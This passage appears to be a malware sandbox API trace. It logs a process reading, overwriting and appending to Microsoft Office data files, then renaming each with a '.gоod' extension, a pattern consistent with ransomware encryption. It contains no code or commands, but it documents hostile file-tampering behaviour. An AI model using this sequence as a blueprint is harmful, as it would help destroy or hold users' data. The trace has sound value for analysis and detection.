dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0155.216] GetFileType (hFile=0x7fc) returned 0x1 [0155.216] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0155.216] GetFileType (hFile=0x7fc) returned 0x1 [0155.216] SetFilePointer (in: hFile=0x7fc, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0155.216] ReadFile (in: hFile=0x7fc, lpBuffer=0x342a430, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x342a430*, lpNumberOfBytesRead=0x1fcee2d8*=0x1000, lpOverlapped=0x0) returned 1 [0155.772] CloseHandle (hObject=0x7fc) returned 1 [0156.102] SleepEx (dwMilliseconds=0x5, bAlertable=0) returned 0x0 [0156.894] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x50 [0156.894] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0156.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\officemui.msi.16.en-us.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0156.894] GetFileType (hFile=0x644) returned 0x1 [0156.894] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0156.895] GetFileType (hFile=0x644) returned 0x1 [0156.895] SetFilePointer (in: hFile=0x644, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x3334d [0156.896] WriteFile (in: hFile=0x644, lpBuffer=0x34fce78*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x34fce78*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0156.940] CloseHandle (hObject=0x644) returned 1 [0156.940] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x50 [0156.940] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0156.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\officemui.msi.16.en-us.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0156.940] GetFileType (hFile=0x644) returned 0x1 [0156.940] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0156.940] GetFileType (hFile=0x644) returned 0x1 [0156.940] ReadFile (in: hFile=0x644, lpBuffer=0x3569188, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x3569188*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0157.022] CloseHandle (hObject=0x644) returned 1 [0157.022] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x50 [0157.022] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0157.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\officemui.msi.16.en-us.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0157.023] GetFileType (hFile=0x644) returned 0x1 [0157.023] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0157.023] GetFileType (hFile=0x644) returned 0x1 [0157.023] WriteFile (in: hFile=0x644, lpBuffer=0x3395220*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x3395220*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0157.023] CloseHandle (hObject=0x644) returned 1 [0157.023] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x50 [0157.023] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemui.msi.16.en-us.boot.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemui.msi.16.en-us.boot.tree.dat.gоod", lpFilePart=0x0) returned 0x55 [0157.023] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0157.023] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\officemui.msi.16.en-us.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8396fbd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x59cec00d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3335d)) returned 1 [0157.023] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0157.023] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\officemui.msi.16.en-us.boot.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemui.msi.16.en-us.boot.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\officemui.msi.16.en-us.boot.tree.dat.gоod")) returned 1 [0157.025] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4b [0157.025] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0157.025] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\officemui.msi.16.en-us.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x3410f70 | out: lpFileInformation=0x3410f70*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd054bfa0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd054bfa0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd060ab93, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x36b17)) returned 1 [0157.026] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0157.026] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4b [0157.026] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0157.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\officemui.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0157.026] GetFileType (hFile=0x644) returned 0x1 [0157.026] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0157.027] GetFileType (hFile=0x644) returned 0x1 [0157.027] SetFilePointer (in: hFile=0x644, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0157.027] ReadFile (in: hFile=0x644, lpBuffer=0x34113d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x34113d8*, lpNumberOfBytesRead=0x1fcee2d8*=0x1000, lpOverlapped=0x0) returned 1 [0157.028] CloseHandle (hObject=0x644) returned 1 [0157.028] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4b [0157.028] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0157.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\officemui.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0157.028] GetFileType (hFile=0x644) returned 0x1 [0157.028] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0157.028] GetFileType (hFile=0x644) returned 0x1 [0157.028] SetFilePointer (in: hFile=0x644, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x36b17 [0157.028] WriteFile (in: hFile=0x644, lpBuffer=0x3412698*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x3412698*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0157.029] CloseHandle (hObject=0x644) returned 1 [0157.029] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4b [0157.029] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0157.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\officemui.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0157.030] GetFileType (hFile=0x644) returned 0x1 [0157.030] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0157.030] GetFileType (hFile=0x644) returned 0x1 [0157.030] ReadFile (in: hFile=0x644, lpBuffer=0x3414e50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x3414e50*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0158.000] CloseHandle (hObject=0x644) returned 1 [0158.000] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4b [0158.000] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0158.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\officemui.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0158.000] GetFileType (hFile=0x644) returned 0x1 [0158.000] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0158.000] GetFileType (hFile=0x644) returned 0x1 [0158.000] WriteFile (in: hFile=0x644, lpBuffer=0x339be30*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x339be30*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0158.000] CloseHandle (hObject=0x644) returned 1 [0158.000] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4b [0158.000] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemui.msi.16.en-us.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemui.msi.16.en-us.tree.dat.gоod", lpFilePart=0x0) returned 0x50 [0158.000] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0158.001] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\officemui.msi.16.en-us.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd054bfa0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd054bfa0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5a6291a2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x36b27)) returned 1 [0158.001] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0158.001] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\officemui.msi.16.en-us.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemui.msi.16.en-us.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\officemui.msi.16.en-us.tree.dat.gоod")) returned 1 [0158.001] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemuiset.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemuiset.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x53 [0158.001] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0158.001] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemuiset.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\officemuiset.msi.16.en-us.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x368c420 | out: lpFileInformation=0x368c420*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83995e7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83995e7d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x843b7e4f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd10)) returned 1 [0158.002] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0158.002] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemuiset.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemuiset.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x53 [0158.002] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0158.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemuiset.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\officemuiset.msi.16.en-us.boot.tree.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0158.002] GetFileType (hFile=0x644) returned 0x1 [0158.002] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0158.002] GetFileType (hFile=0x644) returned 0x1 [0158.002] GetFileSize (in: hFile=0x644, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0xd10 [0158.002] ReadFile (in: hFile=0x644, lpBuffer=0x368d468, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x368d468*, lpNumberOfBytesRead=0x1fcee238*=0xd10, lpOverlapped=0x0) returned 1 [0158.004] CloseHandle (hObject=0x644) returned 1 [0158.030] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemuiset.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemuiset.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x53 [0158.030] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0158.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemuiset.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\officemuiset.msi.16.en-us.boot.tree.dat"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0158.031] GetFileType (hFile=0x644) returned 0x1 [0158.031] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0158.031] GetFileType (hFile=0x644) returned 0x1 [0158.031] WriteFile (in: hFile=0x644, lpBuffer=0x370a688*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x370a688*, lpNumberOfBytesWritten=0x1fcee148*=0xd20, lpOverlapped=0x0) returned 1 [0158.032] CloseHandle (hObject=0x644) returned 1 [0158.032] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemuiset.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemuiset.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x53 [0158.032] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemuiset.msi.16.en-us.boot.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemuiset.msi.16.en-us.boot.tree.dat.gоod", lpFilePart=0x0) returned 0x58 [0158.032] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0158.032] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemuiset.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\officemuiset.msi.16.en-us.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83995e7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83995e7d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5a67587f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xd20)) returned 1 [0158.032] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0158.032] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemuiset.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\officemuiset.msi.16.en-us.boot.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemuiset.msi.16.en-us.boot.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\officemuiset.msi.16.en-us.boot.tree.dat.gоod")) returned 1 [0158.033] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemuiset.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemuiset.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4e [0158.033] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0158.101] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemuiset.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\officemuiset.msi.16.en-us.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x370b970 | out: lpFileInformation=0x370b970*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd054bfa0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd054bfa0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd06c975a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x11e2)) returned 1 [0158.190] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0158.190] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemuiset.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemuiset.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4e [0158.190] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0158.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemuiset.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\officemuiset.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0158.190] GetFileType (hFile=0x650) returned 0x1 [0158.190] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0158.190] GetFileType (hFile=0x650) returned 0x1 [0158.190] SetFilePointer (in: hFile=0x650, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0158.190] ReadFile (in: hFile=0x650, lpBuffer=0x348e4f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x348e4f0*, lpNumberOfBytesRead=0x1fcee2d8*=0x1e2, lpOverlapped=0x0) returned 1 [0158.192] CloseHandle (hObject=0x650) returned 1 [0158.192] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemuiset.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemuiset.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4e [0158.192] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0158.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemuiset.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\officemuiset.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0158.192] GetFileType (hFile=0x650) returned 0x1 [0158.192] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0158.192] GetFileType (hFile=0x650) returned 0x1 [0158.192] SetFilePointer (in: hFile=0x650, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x11e2 [0158.192] WriteFile (in: hFile=0x650, lpBuffer=0x348f7e0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x348f7e0*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0158.192] CloseHandle (hObject=0x650) returned 1 [0158.192] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemuiset.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemuiset.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4e [0158.192] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0158.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemuiset.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\officemuiset.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0158.193] GetFileType (hFile=0x650) returned 0x1 [0158.193] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0158.193] GetFileType (hFile=0x650) 